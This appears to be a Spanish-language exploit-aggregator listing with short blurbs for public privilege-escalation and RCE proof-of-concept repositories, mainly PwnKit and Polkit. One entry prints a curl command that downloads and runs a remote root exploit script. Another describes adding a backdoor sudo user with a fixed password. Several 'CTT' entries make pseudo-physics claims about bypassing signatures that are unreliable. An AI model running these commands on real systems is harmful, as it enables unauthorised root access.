CVE-2026-16348

TP-Link Archer BE800 V1 — RCE autenticado mediante inyección de clave VPN CVE: CVE-2026-16348 CVSS: 8.5 Alta — CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L Autenticación requerida: Credenciales de administrador válidas Posición en la red: Red remota si la interfaz de gestión es...

SCTT-2026-33-0002-DWM-Visual-Field-Singularity

SCTT-2026-33-0002: Singularidad del Campo Visual de DWM 📡 Clasificación Teórica ID: SCTT-2026-33-0002 Investigador: Americo Simoes SimoesCTT Física: Teorema 4.2 - Transición de Fase Turbulenta TPT Constante: α = 0.0302011 Objetivo: Desktop Window Manager dwm.exe / Componente Gráfico de Windows...

CTT-Refraction-Vortex-CVE-2026-7731-

CTT-Refraction-Vortex-CVE-2026-7731- Bajo CTT, lo vemos como un Desajuste de Sincronización Temporal entre el Proveedor de Identidad y el Proveedor de Servicio. Al inyectar un pulso en la frecuencia \alpha=0.0302011, no eludimos la firma—Refractamos la Ventana Temporal para que la firma se valide...

-SCTT-2026-33-0002-DWM-Visual-Field-Singularity

SCTT-2026-33-0002: Singularidad del Campo Visual de DWM 📡 Clasificación Teórica ID: SCTT-2026-33-0002 Investigador: Americo Simoes SimoesCTT Física: Teorema 4.2 - Transición de Fase Turbulenta TPT Constante: α = 0.0302011 Objetivo: Desktop Window Manager dwm.exe / Componente Gráfico de Windows...

CVE-2026-31431-live-code-corruption

CVE-2026-31431 — Corrupción de Código en Vivo mediante Caché de Páginas Una técnica de explotación novedosa para CVE-2026-31431 "Copy Fail" que corrompe el código ejecutable de procesos en ejecución a través de la caché de páginas del kernel de Linux, logrando escalada de privilegios a root. Qué ...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 Add Root User - Pkexec Local Privilege Escalation Mejorado según CVE-2021-4034, al ejecutar el Exploit se añadirá por defecto el nombre de usuario rooter, la contraseña Hello@World, y el usuario rooter tendrá privilegios sudo. Refer to CVE-2021-4034, executing Exploit...

CVE-2026-28372-telnetd-Privilege-Escalation

CVE-2026-28372: Escalada de Privilegios en telnetd de GNU inetutils Prueba de Concepto PoC profesional para CVE-2026-28372, una vulnerabilidad de Escalada Local de Privilegios LPE encontrada en telnetd de GNU inetutils versiones ≤ 2.7. Resumen Técnico La vulnerabilidad ocurre porque telnetd pasa...

pwnkit-exploit

pwnkit CVE-2021-4034 Ejemplo de exploit de escalada de privilegios Este repositorio contiene un exploit de CVE-2021-4034, una escalada de privilegios local en pkexec. Esta implementación se basa en la descrita en la divulgación de la CVE, que deberías leer. Si esto funciona en tu máquina, signifi...

CVE-2021-4034-new

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí...

CVE-2021-4034

CVE-2021-4034 PoC CVE 2021-4034 PwnKit: Vulnerabilidad de escalada de privilegios locales descubierta en pkexec de polkit PoC Verificado en Kali. root@kitploit: ┌──kali㉿kali-/Documents └─$ grep PRETTY /etc/os-release PRETTYNAME="Kali GNU/Linux Rolling" ──kali㉿kali-/Documents └─$ lsbrelease -a No...

cve-2026-25676

Investigación sobre CVE-2026-25676 Secuestro de la ruta de búsqueda de DLL en el instalador de M-Track Duo HD Descripción general Este repositorio contiene investigación inicial y una prueba de concepto relacionada con CVE-2026-25676, una vulnerabilidad de secuestro de la ruta de búsqueda de DLL...

CVE-2021-3560

CVE-2021-3560 Exploit de root instantáneo de Polkit Puedes ejecutar un comando para obtener root en sistemas vulnerables a Polkit CVE-2021-3560 escribiendo: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" O puedes descargar el .sh o copiarlo y pegarlo...

ez-pwnkit

ez-pwnkit Una implementación en Go puro del exploit CVE-2021-4034 PwnKit. El exploit utiliza syscall.ForkExec para sobrevivir al final del programa principal. Instalación root@kitploit: git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make Como el exploit depende de una biblioteca...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Simplemente ejecute y disfrute ./blasty de tu shell raíz. El aviso original de los autores reales es - aquí Instalación Si el exploit funciona, obtendrá un shell de root inmediatamente: root@kitploit:...

CVE-2021-4034

CVE-2021-4034 PoC sucio para CVE-2021-4034 Pwnkit Créditos completos al equipo de Qualys https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Ejemplos de PoC y payload de Copy Fail CVE-2026-31431. Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions Distribuciones de Linux afectadas Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL...

CVE-2026-3228

CVE-2026-3228 - Escáner y Exploit de XSS Almacenado para el Plugin de WordPress NextScripts https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/WordPress-Plugin-red Autor: NULL200OK Una herramienta integral en Python para...

CVE-2021-4034

CVE-2021-4034 PWNKIT Script para crear y explotar la vulnerabilidad para CTF. Código fuente por github.com/berdav Autor real: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

CVE-2024-54910

CVE-2024-54910 https://vulners.com/cve/CVE-2024-54910 Este documento explora una vulnerabilidad que permite escrituras arbitrarias de archivos, lo que conduce a una escalada de privilegios en un sistema Windows que tenga instalado Hasleo Backup Suite Free = 4.9.4. Demuestra cómo las operaciones d...

GNU-Inetutils-telnet-CVE-2026-24061-

CVE-2026-24061 Herramienta de Detección de Bypass de Autenticación en GNU Inetutils Telnetd 📋 Resumen del Proyecto Esta es una herramienta avanzada de detección para la vulnerabilidad de bypass de autenticación en GNU Inetutils Telnetd CVE-2026-24061. Esta vulnerabilidad tiene una puntuación CVSS...